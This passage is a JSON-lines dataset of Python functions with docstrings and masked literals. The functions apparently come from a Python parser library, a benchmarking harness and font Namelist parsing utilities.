'import' ('*' | '(' import_as_names ')' | import_as_names))\n(3.0-)\n# note below: the ('.' | '...') is necessary because '...' is tokenized as ELLIPSIS\nimport_from: ('from' (('.' | '...')* dotted_name | ('.' | '...')+)\n              'import' ('*' | '(' import_as_names ')' | import_as_names))", "id": "f16502:c2:m50"}
{"signature": "@action(Seq(Tok(\"<STR_LIT>\"), Opt(Seq(Loc(\"<STR_LIT>\"), Tok(\"<STR_LIT>\")))))<EOL><INDENT>def import_as_name(self, name_tok, as_name_opt):<DEDENT>", "body": "asname_name = asname_loc = as_loc = None<EOL>loc = name_tok.loc<EOL>if as_name_opt:<EOL><INDENT>as_loc, asname = as_name_opt<EOL>asname_name = asname.value<EOL>asname_loc = asname.loc<EOL>loc = loc.join(asname.loc)<EOL><DEDENT>return ast.alias(name=name_tok.value, asname=asname_name,<EOL>loc=loc, name_loc=name_tok.loc, as_loc=as_loc, asname_loc=asname_loc)<EOL>", "docstring": "import_as_name: NAME ['as' NAME]", "id": "f16502:c2:m51"}
{"signature": "@action(Seq(Rule(\"<STR_LIT>\"), Opt(Seq(Loc(\"<STR_LIT>\"), Tok(\"<STR_LIT>\")))))<EOL><INDENT>def dotted_as_name(self, dotted_name, as_name_opt):<DEDENT>", "body": "asname_name = asname_loc = as_loc = None<EOL>dotted_name_loc, dotted_name_name = dotted_name<EOL>loc = dotted_name_loc<EOL>if as_name_opt:<EOL><INDENT>as_loc, asname = as_name_opt<EOL>asname_name = asname.value<EOL>asname_loc = asname.loc<EOL>loc = loc.join(asname.loc)<EOL><DEDENT>return ast.alias(name=dotted_name_name, asname=asname_name,<EOL>loc=loc, name_loc=dotted_name_loc, as_loc=as_loc, asname_loc=asname_loc)<EOL>", "docstring": "dotted_as_name: dotted_name ['as' NAME]", "id": "f16502:c2:m52"}
{"signature": "@action(List(Tok(\"<STR_LIT>\"), \"<STR_LIT:.>\", trailing=False))<EOL><INDENT>def dotted_name(self, idents):<DEDENT>", "body": "return idents[<NUM_LIT:0>].loc.join(idents[-<NUM_LIT:1>].loc),\"<STR_LIT:.>\".join(list(map(lambda x: x.value, idents)))<EOL>", "docstring": "dotted_name: NAME ('.' NAME)*", "id": "f16502:c2:m54"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), List(Tok(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=False)))<EOL><INDENT>def global_stmt(self, global_loc, names):<DEDENT>", "body": "return ast.Global(names=list(map(lambda x: x.value, names)),<EOL>name_locs=list(map(lambda x: x.loc, names)),<EOL>keyword_loc=global_loc, loc=global_loc.join(names[-<NUM_LIT:1>].loc))<EOL>", "docstring": "global_stmt: 'global' NAME (',' NAME)*", "id": "f16502:c2:m55"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), List(Tok(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=False)))<EOL><INDENT>def nonlocal_stmt(self, nonlocal_loc, names):<DEDENT>", "body": "return ast.Nonlocal(names=list(map(lambda x: x.value, names)),<EOL>name_locs=list(map(lambda x: x.loc, names)),<EOL>keyword_loc=nonlocal_loc, loc=nonlocal_loc.join(names[-<NUM_LIT:1>].loc))<EOL>", "docstring": "(3.0-) nonlocal_stmt: 'nonlocal' NAME (',' NAME)*", "id": "f16502:c2:m57"}
{"signature": "@action(Alt(Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"),<EOL>Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\"),<EOL>Rule(\"<STR_LIT>\"), Rule(\"<STR_LIT>\")))<EOL><INDENT>def compound_stmt(self, stmt):<DEDENT>", "body": "return [stmt]<EOL>", "docstring": "compound_stmt: if_stmt | while_stmt | for_stmt | try_stmt | with_stmt |\n                          funcdef | classdef | decorated", "id": "f16502:c2:m59"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Loc(\"<STR_LIT::>\"), Rule(\"<STR_LIT>\"), Alt(try_stmt_1, try_stmt_2)))<EOL><INDENT>def try_stmt(self, try_loc, try_colon_loc, body, stmt):<DEDENT>", "body": "stmt.keyword_loc, stmt.try_colon_loc, stmt.body =try_loc, try_colon_loc, body<EOL>stmt.loc = stmt.loc.join(try_loc)<EOL>return stmt<EOL>", "docstring": "try_stmt: ('try' ':' suite\n           ((except_clause ':' suite)+\n            ['else' ':' suite]\n            ['finally' ':' suite] |\n            'finally' ':' suite))", "id": "f16502:c2:m65"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), List(Rule(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=False), Loc(\"<STR_LIT::>\"),<EOL>Rule(\"<STR_LIT>\")))<EOL><INDENT>def with_stmt__27(self, with_loc, items, colon_loc, body):<DEDENT>", "body": "return ast.With(items=items, body=body,<EOL>keyword_loc=with_loc, colon_loc=colon_loc,<EOL>loc=with_loc.join(body[-<NUM_LIT:1>].loc))<EOL>", "docstring": "(2.7, 3.1-) with_stmt: 'with' with_item (',' with_item)*  ':' suite", "id": "f16502:c2:m67"}
{"signature": "@action(Rule(\"<STR_LIT>\"))<EOL><INDENT>def comparison(self, lhs, rhs):<DEDENT>", "body": "if len(rhs) > <NUM_LIT:0>:<EOL><INDENT>return ast.Compare(left=lhs, ops=list(map(lambda x: x[<NUM_LIT:0>], rhs)),<EOL>comparators=list(map(lambda x: x[<NUM_LIT:1>], rhs)),<EOL>loc=lhs.loc.join(rhs[-<NUM_LIT:1>][<NUM_LIT:1>].loc))<EOL><DEDENT>else:<EOL><INDENT>return lhs<EOL><DEDENT>", "docstring": "(2.6, 2.7) comparison: expr (comp_op expr)*\n(3.0, 3.1) comparison: star_expr (comp_op star_expr)*\n(3.2-) comparison: expr (comp_op expr)*", "id": "f16502:c2:m79"}
{"signature": "@action(Seq(Opt(Loc(\"<STR_LIT:*>\")), Rule(\"<STR_LIT>\")))<EOL><INDENT>def star_expr__30(self, star_opt, expr):<DEDENT>", "body": "if star_opt:<EOL><INDENT>return ast.Starred(value=expr, ctx=None,<EOL>star_loc=star_opt, loc=expr.loc.join(star_opt))<EOL><DEDENT>return expr<EOL>", "docstring": "(3.0, 3.1) star_expr: ['*'] expr", "id": "f16502:c2:m80"}
{"signature": "@action(Seq(Loc(\"<STR_LIT:*>\"), Rule(\"<STR_LIT>\")))<EOL><INDENT>def star_expr__32(self, star_loc, expr):<DEDENT>", "body": "return ast.Starred(value=expr, ctx=None,<EOL>star_loc=star_loc, loc=expr.loc.join(star_loc))<EOL>", "docstring": "(3.0-) star_expr: '*' expr", "id": "f16502:c2:m81"}
{"signature": "@action(Seq(Rule(\"<STR_LIT>\"), Star(Rule(\"<STR_LIT>\")), Opt(Seq(Loc(\"<STR_LIT>\"), Rule(\"<STR_LIT>\")))))<EOL><INDENT>def power(self, atom, trailers, factor_opt):<DEDENT>", "body": "for trailer in trailers:<EOL><INDENT>if isinstance(trailer, ast.Attribute) or isinstance(trailer, ast.Subscript):<EOL><INDENT>trailer.value = atom<EOL><DEDENT>elif isinstance(trailer, ast.Call):<EOL><INDENT>trailer.func = atom<EOL><DEDENT>trailer.loc = atom.loc.join(trailer.loc)<EOL>atom = trailer<EOL><DEDENT>if factor_opt:<EOL><INDENT>op_loc, factor = factor_opt<EOL>return ast.BinOp(left=atom, op=ast.Pow(loc=op_loc), right=factor,<EOL>loc=atom.loc.join(factor.loc))<EOL><DEDENT>return atom<EOL>", "docstring": "power: atom trailer* ['**' factor]", "id": "f16502:c2:m83"}
{"signature": "@action(List(Rule(\"<STR_LIT>\"), \"<STR_LIT:U+002C>\", trailing=True))<EOL><INDENT>def subscriptlist(self, subscripts):<DEDENT>", "body": "if len(subscripts) == <NUM_LIT:1>:<EOL><INDENT>return ast.Subscript(slice=subscripts[<NUM_LIT:0>], ctx=None, loc=None)<EOL><DEDENT>elif all([isinstance(x, ast.Index) for x in subscripts]):<EOL><INDENT>elts  = [x.value for x in subscripts]<EOL>loc   = subscripts[<NUM_LIT:0>].loc.join(subscripts[-<NUM_LIT:1>].loc)<EOL>index = ast.Index(value=ast.Tuple(elts=elts, ctx=None,<EOL>begin_loc=None, end_loc=None, loc=loc),<EOL>loc=loc)<EOL>return ast.Subscript(slice=index, ctx=None, loc=None)<EOL><DEDENT>else:<EOL><INDENT>extslice = ast.ExtSlice(dims=subscripts,<EOL>loc=subscripts[<NUM_LIT:0>].loc.join(subscripts[-<NUM_LIT:1>].loc))<EOL>return ast.Subscript(slice=extslice, ctx=None, loc=None)<EOL><DEDENT>", "docstring": "subscriptlist: subscript (',' subscript)* [',']", "id": "f16502:c2:m99"}
{"signature": "@action(Rule(\"<STR_LIT>\"))<EOL><INDENT>def exprlist(self, exprs):<DEDENT>", "body": "return self._wrap_tuple(exprs)<EOL>", "docstring": "(2.6, 2.7) exprlist: expr (',' expr)* [',']\n(3.0, 3.1) exprlist: star_expr (',' star_expr)* [',']\n(3.2-) exprlist: (expr|star_expr) (',' (expr|star_expr))* [',']", "id": "f16502:c2:m103"}
{"signature": "@action(Seq(Loc(\"<STR_LIT:class>\"), Tok(\"<STR_LIT>\"),<EOL>Opt(Seq(Loc(\"<STR_LIT:(>\"), Rule(\"<STR_LIT>\"), Loc(\"<STR_LIT:)>\"))),<EOL>Loc(\"<STR_LIT::>\"), Rule(\"<STR_LIT>\")))<EOL><INDENT>def classdef__30(self, class_loc, name_tok, arglist_opt, colon_loc, body):<DEDENT>", "body": "arglist, lparen_loc, rparen_loc = [], None, None<EOL>bases, keywords, starargs, kwargs = [], [], None, None<EOL>star_loc, dstar_loc = None, None<EOL>if arglist_opt:<EOL><INDENT>lparen_loc, arglist, rparen_loc = arglist_opt<EOL>bases, keywords, starargs, kwargs =arglist.args, arglist.keywords, arglist.starargs, arglist.kwargs<EOL>star_loc, dstar_loc = arglist.star_loc, arglist.dstar_loc<EOL><DEDENT>return ast.ClassDef(name=name_tok.value, bases=bases, keywords=keywords,<EOL>starargs=starargs, kwargs=kwargs, body=body,<EOL>decorator_list=[], at_locs=[],<EOL>keyword_loc=class_loc, lparen_loc=lparen_loc,<EOL>star_loc=star_loc, dstar_loc=dstar_loc, rparen_loc=rparen_loc,<EOL>name_loc=name_tok.loc, colon_loc=colon_loc,<EOL>loc=class_loc.join(body[-<NUM_LIT:1>].loc))<EOL>", "docstring": "(3.0) classdef: 'class' NAME ['(' [testlist] ')'] ':' suite", "id": "f16502:c2:m109"}
{"signature": "@action(Alt(Rule(\"<STR_LIT>\"),<EOL>Rule(\"<STR_LIT>\"),<EOL>Rule(\"<STR_LIT>\")))<EOL><INDENT>def arglist(self, args, call):<DEDENT>", "body": "for arg in args:<EOL><INDENT>if isinstance(arg, ast.keyword):<EOL><INDENT>call.keywords.append(arg)<EOL><DEDENT>elif len(call.keywords) > <NUM_LIT:0>:<EOL><INDENT>error = diagnostic.Diagnostic(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", {},<EOL>arg.loc, [call.keywords[-<NUM_LIT:1>].loc])<EOL>self.diagnostic_engine.process(error)<EOL><DEDENT>else:<EOL><INDENT>call.args.append(arg)<EOL><DEDENT><DEDENT>return call<EOL>", "docstring": "arglist: (argument ',')* (argument [','] |\n                                     '*' test (',' argument)* [',' '**' test] |\n                                     '**' test)", "id": "f16502:c2:m113"}
{"signature": "@action(Seq(Loc(\"<STR_LIT>\"), Opt(Rule(\"<STR_LIT>\"))))<EOL><INDENT>def yield_expr__33(self, yield_loc, arg):<DEDENT>", "body": "if isinstance(arg, ast.YieldFrom):<EOL><INDENT>arg.yield_loc = yield_loc<EOL>arg.loc = arg.loc.join(arg.yield_loc)<EOL>return arg<EOL><DEDENT>elif arg is not None:<EOL><INDENT>return ast.Yield(value=arg,<EOL>yield_loc=yield_loc, loc=yield_loc.join(arg.loc))<EOL><DEDENT>else:<EOL><INDENT>return ast.Yield(value=None,<EOL>yield_loc=yield_loc, loc=yield_loc)<EOL><DEDENT>", "docstring": "(3.3-) yield_expr: 'yield' [yield_arg]", "id": "f16502:c2:m120"}
{"signature": "def next(self, eof_token=False):", "body": "if len(self.queue) == <NUM_LIT:0>:<EOL><INDENT>self._refill(eof_token)<EOL><DEDENT>return self.queue.pop(<NUM_LIT:0>)<EOL>", "docstring": "Returns token at ``offset`` as a :class:`Token` and advances ``offset``\nto point past the end of the token, where the token has:\n\n- *range* which is a :class:`pythonparser.source.Range` that includes\n  the token but not surrounding whitespace,\n- *kind* which is a string containing one of Python keywords or operators,\n  ``newline``, ``float``, ``int``, ``complex``, ``strbegin``,\n  ``strdata``, ``strend``, ``ident``, ``indent``, ``dedent`` or ``eof``\n  (if ``eof_token`` is True).\n- *value* which is the flags as lowercase string if *kind* is ``strbegin``,\n  the string contents if *kind* is ``strdata``,\n  the numeric value if *kind* is ``float``, ``int`` or ``complex``,\n  the identifier if *kind* is ``ident`` and ``None`` in any other case.\n\n:param eof_token: if true, will return a token with kind ``eof``\n    when the input is exhausted; if false, will raise ``StopIteration``.", "id": "f16503:c1:m1"}
{"signature": "def peek(self, eof_token=False):", "body": "if len(self.queue) == <NUM_LIT:0>:<EOL><INDENT>self._refill(eof_token)<EOL><DEDENT>return self.queue[-<NUM_LIT:1>]<EOL>", "docstring": "Same as :meth:`next`, except the token is not dequeued.", "id": "f16503:c1:m2"}
{"signature": "def source_line(self, lineno):", "body": "line_begins = self._extract_line_begins()<EOL>lineno = lineno - self.first_line<EOL>if lineno >= <NUM_LIT:0> and lineno + <NUM_LIT:1> < len(line_begins):<EOL><INDENT>first, last = line_begins[lineno:lineno + <NUM_LIT:2>]<EOL>return self.source[first:last]<EOL><DEDENT>elif lineno >= <NUM_LIT:0> and lineno < len(line_begins):<EOL><INDENT>return self.source[line_begins[-<NUM_LIT:1>]:]<EOL><DEDENT>else:<EOL><INDENT>raise IndexError<EOL><DEDENT>", "docstring": "Returns line ``lineno`` from source, taking ``first_line`` into account,\nor raises :exc:`IndexError` if ``lineno`` is out of range.", "id": "f16505:c0:m2"}
{"signature": "def decompose_position(self, offset):", "body": "line_begins = self._extract_line_begins()<EOL>lineno = bisect.bisect_right(line_begins, offset) - <NUM_LIT:1><EOL>if offset >= <NUM_LIT:0> and offset <= len(self.source):<EOL><INDENT>return lineno + self.first_line, offset - line_begins[lineno]<EOL><DEDENT>else:<EOL><INDENT>raise IndexError<EOL><DEDENT>", "docstring": "Returns a ``line, column`` tuple for a character offset into the source,\norraises :exc:`IndexError` if ``lineno`` is out of range.", "id": "f16505:c0:m3"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" %(self.source_buffer.name, self.begin_pos, self.end_pos, repr(self.expanded_from))<EOL>", "docstring": "Returns a human-readable representation of this range.", "id": "f16505:c1:m1"}
{"signature": "def chain(self, expanded_from):", "body": "return Range(self.source_buffer, self.begin_pos, self.begin_pos,<EOL>expanded_from=expanded_from)<EOL>", "docstring": "Returns a range identical to this one, but indicating that\nit was expanded from the range `expanded_from`.", "id": "f16505:c1:m2"}
{"signature": "def begin(self):", "body": "return Range(self.source_buffer, self.begin_pos, self.begin_pos,<EOL>expanded_from=self.expanded_from)<EOL>", "docstring": "Returns a zero-length range located just before the beginning of this range.", "id": "f16505:c1:m3"}
{"signature": "def end(self):", "body": "return Range(self.source_buffer, self.end_pos, self.end_pos,<EOL>expanded_from=self.expanded_from)<EOL>", "docstring": "Returns a zero-length range located just after the end of this range.", "id": "f16505:c1:m4"}
{"signature": "def size(self):", "body": "return self.end_pos - self.begin_pos<EOL>", "docstring": "Returns the amount of characters spanned by the range.", "id": "f16505:c1:m5"}
{"signature": "def column(self):", "body": "line, column = self.source_buffer.decompose_position(self.begin_pos)<EOL>return column<EOL>", "docstring": "Returns a zero-based column number of the beginning of this range.", "id": "f16505:c1:m6"}
{"signature": "def column_range(self):", "body": "if self.begin().line() == self.end().line():<EOL><INDENT>return self.begin().column(), self.end().column()<EOL><DEDENT>else:<EOL><INDENT>return self.begin().column(), len(self.begin().source_line()) - <NUM_LIT:1><EOL><DEDENT>", "docstring": "Returns a [*begin*, *end*) tuple describing the range of columns spanned\nby this range. If range spans more than one line, returned *end* is\nthe last column of the line.", "id": "f16505:c1:m7"}
{"signature": "def line(self):", "body": "line, column = self.source_buffer.decompose_position(self.begin_pos)<EOL>return line<EOL>", "docstring": "Returns the line number of the beginning of this range.", "id": "f16505:c1:m8"}
{"signature": "def join(self, other):", "body": "if self.source_buffer != other.source_buffer:<EOL><INDENT>raise ValueError<EOL><DEDENT>if self.expanded_from == other.expanded_from:<EOL><INDENT>expanded_from = self.expanded_from<EOL><DEDENT>else:<EOL><INDENT>expanded_from = None<EOL><DEDENT>return Range(self.source_buffer,<EOL>min(self.begin_pos, other.begin_pos),<EOL>max(self.end_pos, other.end_pos),<EOL>expanded_from=expanded_from)<EOL>", "docstring": "Returns the smallest possible range spanning both this range and other.\nRaises :exc:`ValueError` if the ranges do not belong to the same\n:class:`Buffer`.", "id": "f16505:c1:m9"}
{"signature": "def source(self):", "body": "return self.source_buffer.source[self.begin_pos:self.end_pos]<EOL>", "docstring": "Returns the source code covered by this range.", "id": "f16505:c1:m10"}
{"signature": "def source_line(self):", "body": "return self.source_buffer.source_line(self.line())<EOL>", "docstring": "Returns the line of source code containing the beginning of this range.", "id": "f16505:c1:m11"}
{"signature": "def source_lines(self):", "body": "return [self.source_buffer.source_line(line)<EOL>for line in range(self.line(), self.end().line() + <NUM_LIT:1>)]<EOL>", "docstring": "Returns the lines of source code containing the entirety of this range.", "id": "f16505:c1:m12"}
{"signature": "def __str__(self):", "body": "if self.begin_pos != self.end_pos:<EOL><INDENT>return \"<STR_LIT>\" % (self.source_buffer.name,<EOL>self.line(), self.column() + <NUM_LIT:1>,<EOL>self.end().line(), self.end().column() + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\" % (self.source_buffer.name,<EOL>self.line(), self.column() + <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Returns a Clang-style string representation of the beginning of this range.", "id": "f16505:c1:m13"}
{"signature": "def __eq__(self, other):", "body": "return (type(self) == type(other) and<EOL>self.source_buffer == other.source_buffer and<EOL>self.begin_pos == other.begin_pos and<EOL>self.end_pos == other.end_pos and<EOL>self.expanded_from == other.expanded_from)<EOL>", "docstring": "Returns true if the ranges have the same source buffer, start and end position.", "id": "f16505:c1:m14"}
{"signature": "def __ne__(self, other):", "body": "return not (self == other)<EOL>", "docstring": "Inverse of :meth:`__eq__`.", "id": "f16505:c1:m15"}
{"signature": "def replace(self, range, replacement):", "body": "self.ranges.append((range, replacement))<EOL>", "docstring": "Remove `range` and replace it with string `replacement`.", "id": "f16505:c4:m1"}
{"signature": "def remove(self, range):", "body": "self.replace(range, \"<STR_LIT>\")<EOL>", "docstring": "Remove `range`.", "id": "f16505:c4:m2"}
{"signature": "def insert_before(self, range, text):", "body": "self.replace(range.begin(), text)<EOL>", "docstring": "Insert `text` before `range`.", "id": "f16505:c4:m3"}
{"signature": "def insert_after(self, range, text):", "body": "self.replace(range.end(), text)<EOL>", "docstring": "Insert `text` after `range`.", "id": "f16505:c4:m4"}
{"signature": "def rewrite(self):", "body": "self._sort()<EOL>self._check()<EOL>rewritten, pos = [], <NUM_LIT:0><EOL>for range, replacement in self.ranges:<EOL><INDENT>rewritten.append(self.buffer.source[pos:range.begin_pos])<EOL>rewritten.append(replacement)<EOL>pos = range.end_pos<EOL><DEDENT>rewritten.append(self.buffer.source[pos:])<EOL>return Buffer(\"<STR_LIT>\".join(rewritten), self.buffer.name, self.buffer.first_line)<EOL>", "docstring": "Return the rewritten source. May raise :class:`RewriterConflict`.", "id": "f16505:c4:m5"}
{"signature": "def parse_buffer(buffer, mode=\"<STR_LIT>\", flags=[], version=None, engine=None):", "body": "if version is None:<EOL><INDENT>version = sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>]<EOL><DEDENT>if engine is None:<EOL><INDENT>engine = pythonparser_diagnostic.Engine()<EOL><DEDENT>lexer = pythonparser_lexer.Lexer(buffer, version, engine)<EOL>if mode in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>lexer.interactive = True<EOL><DEDENT>parser = pythonparser_parser.Parser(lexer, version, engine)<EOL>parser.add_flags(flags)<EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>return parser.file_input(), lexer.comments<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>return parser.single_input(), lexer.comments<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>return parser.eval_input(), lexer.comments<EOL><DEDENT>", "docstring": "Like :meth:`parse`, but accepts a :class:`source.Buffer` instead of\nsource and filename, and returns comments as well.\n\n:see: :meth:`parse`\n:return: (:class:`ast.AST`, list of :class:`source.Comment`)\n    Abstract syntax tree and comments", "id": "f16506:m0"}
{"signature": "def parse(source, filename=\"<STR_LIT>\", mode=\"<STR_LIT>\",<EOL>flags=[], version=None, engine=None):", "body": "ast, comments = parse_buffer(pythonparser_source.Buffer(source, filename),<EOL>mode, flags, version, engine)<EOL>return ast<EOL>", "docstring": "Parse a string into an abstract syntax tree.\nThis is the replacement for the built-in :meth:`..ast.parse`.\n\n:param source: (string) Source code in the correct encoding\n:param filename: (string) Filename of the source (used in diagnostics)\n:param mode: (string) Execution mode. Pass ``\"exec\"`` to parse a module,\n    ``\"single\"`` to parse a single (interactive) statement,\n    and ``\"eval\"`` to parse an expression. In the last two cases,\n    ``source`` must be terminated with an empty line\n    (i.e. end with ``\"\\\\n\\\\n\"``).\n:param flags: (list of string) Future flags.\n    Equivalent to ``from __future__ import <flags>``.\n:param version: (2-tuple of int) Major and minor version of Python\n    syntax to recognize, ``sys.version_info[0:2]`` by default.\n:param engine: (:class:`diagnostic.Engine`) Diagnostic engine,\n    a fresh one is created by default\n:return: (:class:`ast.AST`) Abstract syntax tree\n:raise: :class:`diagnostic.Error`\n    if the source code is not well-formed", "id": "f16506:m1"}
{"signature": "def _MakeParallelBenchmark(p, work_func, *args):", "body": "def Benchmark(b):  <EOL><INDENT>e = threading.Event()<EOL>def Target():<EOL><INDENT>e.wait()<EOL>for _ in xrange(b.N / p):<EOL><INDENT>work_func(*args)<EOL><DEDENT><DEDENT>threads = []<EOL>for _ in xrange(p):<EOL><INDENT>t = threading.Thread(target=Target)<EOL>t.start()<EOL>threads.append(t)<EOL><DEDENT>b.ResetTimer()<EOL>e.set()<EOL>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT><DEDENT>return Benchmark<EOL>", "docstring": "Create and return a benchmark that runs work_func p times in parallel.", "id": "f16534:m2"}
{"signature": "def BenchmarkHashStrCached(b):", "body": "h = hash  <EOL>for _ in xrange(b.N):<EOL><INDENT>h('<STR_LIT>')<EOL><DEDENT>", "docstring": "Hashes the same value repeatedly to exercise any hash caching logic.", "id": "f16537:m6"}
{"signature": "def _WriteXmlFile(filename, suite_duration, results):", "body": "xml_file = open(filename, '<STR_LIT:w>')<EOL>xml_file.write('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(sys.argv[<NUM_LIT:0>], len(results), suite_duration))<EOL>for result in results:<EOL><INDENT>xml_file.write('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(result.name, result.duration))<EOL>if result.properties:<EOL><INDENT>xml_file.write('<STR_LIT>')<EOL>for name in result.properties:<EOL><INDENT>value = result.properties[name]<EOL>if isinstance(value, float):<EOL><INDENT>formatted = '<STR_LIT>' % value<EOL><DEDENT>else:<EOL><INDENT>formatted = str(value)<EOL><DEDENT>xml_file.write('<STR_LIT>' %<EOL>(name, formatted))<EOL><DEDENT>xml_file.write('<STR_LIT>')<EOL><DEDENT>xml_file.write('<STR_LIT>')<EOL><DEDENT>xml_file.write('<STR_LIT>')<EOL>xml_file.close()<EOL>", "docstring": "Given a list of _BenchmarkResults, writes XML test results to filename.", "id": "f16547:m2"}
{"signature": "def RunBenchmarks():", "body": "sys.exit(_RunAll('<STR_LIT>', _RunOneBenchmark))<EOL>", "docstring": "Benchmarks all functions in __main__ with names like BenchmarkXyz().", "id": "f16547:m4"}
{"signature": "def RunTests():", "body": "sys.exit(_RunAll('<STR_LIT>', _RunOneTest))<EOL>", "docstring": "Runs all functions in __main__ with names like TestXyz().", "id": "f16547:m5"}
{"signature": "def __init__(self, bench_func, target_duration):", "body": "self.bench_func = bench_func<EOL>self.target_duration = target_duration<EOL>self.start_time = <NUM_LIT:0><EOL>self.N = <NUM_LIT:1><EOL>", "docstring": "Set up this benchmark to run bench_func to be run for target_duration.", "id": "f16547:c0:m0"}
{"signature": "def Run(self):", "body": "small_duration = <NUM_LIT> * self.target_duration<EOL>self.N = <NUM_LIT:1><EOL>self._RunOnce()<EOL>while self.duration < self.target_duration:<EOL><INDENT>if self.duration < small_duration:<EOL><INDENT>N = self.N * <NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>N = int(self.N * (<NUM_LIT> * self.target_duration / self.duration))<EOL><DEDENT>if self.N == N:<EOL><INDENT>self.N += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self.N = N<EOL><DEDENT>self._RunOnce()<EOL><DEDENT>", "docstring": "Attempt to run this benchmark for the target duration.", "id": "f16547:c0:m1"}
{"signature": "def ResetTimer(self):", "body": "self.start_time = time.time()<EOL>", "docstring": "Clears the current elapsed time to discount expensive setup steps.", "id": "f16547:c0:m3"}
{"signature": "def unicodevalues_asstring(values):", "body": "if not os.environ.get('<STR_LIT>'):<EOL><INDENT>return map(lambda x: '<STR_LIT:%s>' % format(x).strip(), values)<EOL><DEDENT>return map(lambda x: u'<STR_LIT>' % (x, unichr(x)), sorted(values))<EOL>", "docstring": "Return string with unicodenames (unless that is disabled)", "id": "f16556:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_codepoints():<DEDENT>", "body": "<EOL>path = get_from_cache('<STR_LIT>', EXTENSIS_LANG_XML)<EOL>try:<EOL><INDENT>xml_content = open(path, '<STR_LIT:r>').read()<EOL><DEDENT>except IOError:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>xml_content = '<STR_LIT>'<EOL><DEDENT>content = re.sub('<STR_LIT>', '<STR_LIT>', xml_content)<EOL>doc = etree.fromstring(content.lstrip('<STR_LIT>'))<EOL>return doc.findall('<STR_LIT>')<EOL>", "docstring": "Return all XML <scanning-codepoints> in received XML", "id": "f16564:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_unicodes(codepoint):<DEDENT>", "body": "result = re.sub('<STR_LIT>', '<STR_LIT>', codepoint.text)<EOL>return Extension.convert_to_list_of_unicodes(result)<EOL>", "docstring": "Return list of unicodes for <scanning-codepoints>", "id": "f16564:c0:m2"}
{"signature": "def parseNamelist(filename):", "body": "with codecs.open(filename, encoding='<STR_LIT:utf-8>') as namFile:<EOL><INDENT>return _parseNamelist(namFile)<EOL><DEDENT>", "docstring": "Parse filename as Namelist and return a tuple of\n      (Codepoints set, header data dict)", "id": "f16791:m4"}
{"signature": "def _loadNamelistIncludes(item, unique_glyphs, cache):", "body": "includes = item[\"<STR_LIT>\"] = []<EOL>charset = item[\"<STR_LIT>\"] = set() | item[\"<STR_LIT>\"]<EOL>noCharcode = item[\"<STR_LIT>\"] = set() | item[\"<STR_LIT>\"]<EOL>dirname =  os.path.dirname(item[\"<STR_LIT>\"])<EOL>for include in item[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>includeFile = os.path.join(dirname, include)<EOL>try:<EOL><INDENT>includedItem = readNamelist(includeFile, unique_glyphs, cache)<EOL><DEDENT>except NamelistRecursionError:<EOL><INDENT>continue<EOL><DEDENT>if includedItem in includes:<EOL><INDENT>continue<EOL><DEDENT>includes.append(includedItem)<EOL>charset |= includedItem[\"<STR_LIT>\"]<EOL>noCharcode |= includedItem[\"<STR_LIT>\"]<EOL><DEDENT>return item<EOL>", "docstring": "Load the includes of an encoding Namelist files.\n\n    This is an implementation detail of readNamelist.", "id": "f16791:m5"}
{"signature": "def __readNamelist(cache, filename, unique_glyphs):", "body": "if filename in cache:<EOL><INDENT>item = cache[filename]<EOL><DEDENT>else:<EOL><INDENT>cps, header, noncodes = parseNamelist(filename)<EOL>item = {<EOL>\"<STR_LIT>\": filename<EOL>, \"<STR_LIT>\": cps<EOL>, \"<STR_LIT>\": header<EOL>, \"<STR_LIT>\": noncodes<EOL>, \"<STR_LIT>\": None <EOL>, \"<STR_LIT>\": None <EOL>, \"<STR_LIT>\": None<EOL>}<EOL>cache[filename] = item<EOL><DEDENT>if unique_glyphs or item[\"<STR_LIT>\"] is not None:<EOL><INDENT>return item<EOL><DEDENT>_loadNamelistIncludes(item, unique_glyphs, cache)<EOL>return item<EOL>", "docstring": "Return a dict with the data of an encoding Namelist file.\n\n    This is an implementation detail of readNamelist.", "id": "f16791:m6"}
{"signature": "def _readNamelist(currentlyIncluding, cache, namFilename, unique_glyphs):", "body": "<EOL>filename = os.path.abspath(os.path.normcase(namFilename))<EOL>if filename in currentlyIncluding:<EOL><INDENT>raise NamelistRecursionError(filename)<EOL><DEDENT>currentlyIncluding.add(filename)<EOL>try:<EOL><INDENT>result = __readNamelist(cache, filename, unique_glyphs)<EOL><DEDENT>finally:<EOL><INDENT>currentlyIncluding.remove(filename)<EOL><DEDENT>return result<EOL>", "docstring": "Detect infinite recursion and prevent it.\n\n    This is an implementation detail of readNamelist.\n\n    Raises NamelistRecursionError if namFilename is in the process of being included", "id": "f16791:m7"}
